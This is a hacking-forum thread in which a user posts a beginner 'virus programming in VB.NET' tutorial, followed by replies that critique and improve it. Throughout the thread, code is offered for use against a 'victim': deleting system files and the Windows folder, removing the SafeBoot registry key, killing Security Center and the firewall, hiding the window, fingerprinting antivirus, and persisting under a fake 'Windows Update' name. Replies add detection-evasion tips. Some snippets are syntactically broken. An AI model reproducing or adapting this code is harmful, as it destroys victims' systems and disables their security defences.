[JuiceKing]

I'm beginner in virus programming in VB.NET, this tutorial is just for beginners.

Go to designer on the form and set the "Opacity" to "0" and "Visible" to "False" to hide Form1.

First hide your Form1 with this code:

Code:

Me.Hide

On the end add this code:

Code:

Me.close

OK, Let's start:

1.Kill Command Prompt (cmd.exe)

Code:

Me.Hide Kill("C:\Windows\System32\cmd.exe") Me.close

This code kill cmd.exe victim can't run Command Prompt.

2.Kill Taskmanager (taskmgr.exe)

Code:

Me.Hide Kill("C:\Windows\System32\taskmgr.exe") Me.close

This code kill process taskmgr.exe victim can't run Task Manager

3.Kill msconfig (msconfig.exe)

Code:

Me.Hide Kill(C:\Windows\System32\msconfig.exe") Me.close

This code kill process msconfig.exe victim can't run msconfig.

4.Kill regedit (regedit.exe)

Code:

Me.Hide Kill("C:\Windows\regedit.exe") Me.close

This code kill process regedit.exe victim can't run regedit.

5.Kill svchost.exe (Dangerous)

Code:

Me.Hide Kill("C:\Windows\System32\svchost.exe Me.close

This code kill process svchost.exe Careful with this code.

6.Kill shell.dll (Dangerous)

Code:

Me.Hide Kill("C:\Windows\System32\shell.dll") Me.close

This code kill shell.dll without this process PC can't work.Careful!

7.Kill winlogon.exe (Dangerous)

Code:

Me.Hide Kill("C:\Windows\System32\winlogon.exe") Me.close

This code kill process winlogon.exe careful!

Kill explorer.exe (Dangerous)

Code:

Me.Hide Kill("C:\Windows\explorer.exe") Me.close

This code kill explorer.exe Careful!

8.Process Killer

Code:

Me.Hide Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe") Me.close

This kill processes.

Now you explain codes:

Shutdown:

Code:

Shell("Shutdown -s")

Restart:

Code:

Shell("Shutdown -r")

LogOff:

Code:

Shell("Shutdown -l")

Delete file:

Code:

Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

Delete all files in folder:

Code:

My.Computer.FileSystem.DeleteDirectory("C:\Windows", FileIO.DeleteDirectoryOption.DeleteAllContents)

Delete registry:

Code:

My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")

Create registry:

Code:

Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True) regKey.CreateSubKey("MyApp") regKey.Close()

Kill security center:

Code:

Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center End sub

Disable firewall:

Code:

Dim Bumpbox As Process = New Process Dim top As String = "netsh.exe" Bumpbox.StartInfo.Arguments = ("firewall set opmode disable") Bumpbox.StartInfo.FileName = top Bumpbox.StartInfo.UseShellExecute = False Bumpbox.StartInfo.RedirectStandardOutput = True Bumpbox.StartInfo.CreateNoWindow = True Bumpbox.Start() Bumpbox.WaitForExit()

hide program:

Code:

Timer1.Interval = 100 Timer1.Enabled = True Me.Opacity = 0 Me.Hide() Me.ShowInTaskbar = False Me.visible = False Me.ControlBox = False Me.Height = 0 Me.Width = 0 Me.ShowIcon = False Me.TransparencyKey = Me.BackColor Me.FormBorderStyle = BorderStyle.None

show and hide cursor:

Code:

Declarations: Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Code: Private Sub cmdHide_Click() 'To hide the cursor, use this: ShowCursor (False) End Sub Private Sub cmdShow_Click() 'To show the cursor, use this: ShowCursor (True) End Sub

Get info av and firewall:

Code:

Public Function GetFWAV() As String On Error Resume Next Dim colItems As Object Dim objItem As Object Dim objWMIService As Object Set objWMIService = GetObject("winmgmts:\\.\root\SecurityCenter") Set colItems = objWMIService.ExecQuery("Select * from FirewallProduct") Dim tmp As String, endt As String tmp = "-" For Each objItem In colItems tmp = objItem.CompanyName & " " & objItem.DisplayName & " (" & objItem.versionnumber & ")" 'objItem.Enabled Next endt = tmp tmp = "-" Set colItems = objWMIService.ExecQuery("Select * from AntiVirusProduct") For Each objItem In colItems tmp = objItem.CompanyName & " " & objItem.DisplayName & " (" & objItem.versionnumber & ")" 'objItem.OnAccessScanningEnabled 'Enabled ? 'objItem.ProductUptoDate 'Updated ? Next GetFWAV = endt & "|" & tmp End Function

Add app to startup:

Code:

Imports System.IO Imports Microsoft.Win32 Code: Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

Turn off windows update

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

For windows update code credits go to: 1234hotmaster

This is some useful codes.

If u have some virus codes share it here!I'll add in my thread and write a credits!Thanks!

If u copy this please give the credits to the maker: JuiceKing (me) Thanks!

[1llusion]

Nice codes, however, some of them are out-dated and won't work, example - avira killer. the AV will notice this. Another prob would be deleting the system, from my experience, you can't do that, not only that you are deleting files that are used, but system files need more privs...

About the linux, pm me, I would be interested in working on some linux malware, however, VB.Net isn't best for linux malware because of lack of windows libs in linux... never really figured out how VB.Net works under linux...

thanks for the share =)

[DeffoN]

Thanks i started VB and this is going to help
Good Job !
Edit:Serbian Hi i am macedonian

[ArkPhaze]

Why do you use Me.Close so much? If you're program is set to close when the first form closes as the main form that will just exit your application. Then all following code will be useless anyway because your program isn't running lol. Unless these are supposed to be new programmatically generated forms for some reason?

[JuiceKing]

Thanks i started VB and this is going to help
Good Job !
Edit:Serbian Hi i am macedonian

You're welcome, nice I'm help you! Nice you're Macedonian do you speak Serbian language?

---

Why do you use Me.Close so much? If you're program is set to close when the first form closes as the main form that will just exit your application. Then all following code will be useless anyway because your program isn't running lol. Unless these are supposed to be new programmatically generated forms for some reason?

First you add code:

Code:

Me.Hide

that hide programm then
add code:

Code:

Kill(C:\Windows\System32\cmd.exe")

that kill cmd.exe when is finished if u don't add code:

Code:

Me.close

Programm will show Form1 if u add code:

Code:

Me.close

Then when is finished programm will be closed.Form1 is hidden.Understand?

[DeffoN]

Thanks i started VB and this is going to help
Good Job !
Edit:Serbian Hi i am macedonian

You're welcome, nice I'm help you! Nice you're Macedonian do you speak Serbian language?

---

Yeah it is almost the same lang.

[1234hotmaster]

hi nice thread but i want to put up some comments on each and/or a better code for them

Code:

Me.Hide

wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:

Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe") Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe")

As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:

Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")

Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:

Kill("C:\Program Files\Sandboxie\sbiectrl.exe")

Sandboxie process is always running if installed so no hope

Code:

Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:

On Error Resume Next IO.File.Delete("C:\file.exe")

Code:

Dim file As System.IO.FileStream file = System.IO.File.Create("c:\test.exe")

i don't think thats how to make a file plus even if you make a file its empty

Code:

Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:




and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs:

[JuiceKing]

hi nice thread but i want to put up some comments on each and/or a better code for them

Code:

Me.Hide

wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:

Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe") Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe")

As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:

Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")

Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:

Kill("C:\Program Files\Sandboxie\sbiectrl.exe")

Sandboxie process is always running if installed so no hope

Code:

Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:

On Error Resume Next IO.File.Delete("C:\file.exe")

Code:

Dim file As System.IO.FileStream file = System.IO.File.Create("c:\test.exe")

i don't think thats how to make a file plus even if you make a file its empty

Code:

Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:




and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs:

Thank you! :thumbs: You're right :'( I will edit thread.

[JuiceKing]

hi nice thread but i want to put up some comments on each and/or a better code for them

Code:

Me.Hide

wont be helpful since the forms shows for a millisecond then disappears the user can see it and suspect something is going on. for preventing that millisecond you can go in the designer on the form and set the "Opacity" to "0" and "Visible" to "False"

Code:

Kill("C:\Windows\System32\cmd.exe") Kill("C:\Windows\System32\taskmgr.exe") Kill(C:\Windows\System32\msconfig.exe") Kill("C:\Windows\regedit.exe") Kill("C:\Windows\System32\svchost.exe") Kill("C:\Windows\System32\shell.dll") Kill("C:\Windows\System32\winlogon.exe") Kill("C:\Windows\explorer.exe")

As 1llusion said you need permission to delete them and windows doesn't give anyone that permission
PS: will make your app detected badly.

Code:

Kill("C:\Program Files\Avira\AntiVir Desktop\avcenter.exe")

Im pretty sure this code will make it detected by few AV and plus it wont work since i think Avira coders aren't that dumb to put permission on they're files plus if the process is running it wont get deleted.

Code:

Kill("C:\Program Files\Sandboxie\sbiectrl.exe")

Sandboxie process is always running if installed so no hope

Code:

Dim FileToDelete As String FileToDelete = "C:\File.exe" If System.IO.File.Exists(FileToDelete) = True Then System.IO.File.Delete(FileToDelete)

or you can do it the easy way :epic:

Code:

On Error Resume Next IO.File.Delete("C:\file.exe")

Code:

Dim file As System.IO.FileStream file = System.IO.File.Create("c:\test.exe")

i don't think thats how to make a file plus even if you make a file its empty

Code:

Shell "sc stop wscsvc", vbHide 'Stop Security Center Shell "sc stop SharedAccess", vbHide 'Stop WinFirewall Shell "sc delete SharedAccess", vbHide 'Kill WinFirewall Shell "sc delete wscsvc", vbHide 'Kill Security Center

nice but i think they work for XP only

Code:

Try If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then System.IO.File.Copy(System.Reflection.Assembly. _ GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe") End If Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try Try Dim regKey As RegistryKey regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe") regKey.Close() Catch ex As Exception End Try

nice but thats detected badly... like 8 AV detect that...
PS: credit the person who posted that code :thumbs:




and all the windows file deletion they wont work sorry to disappoint you =[

the rest, Nice job :thumbs: liked the thread keep it up :thumbs:

Thank you! :thumbs: You're right :'( I will edit thread.

[1234hotmaster]

no don't i like the passion you had to write this :thumbs:
keep it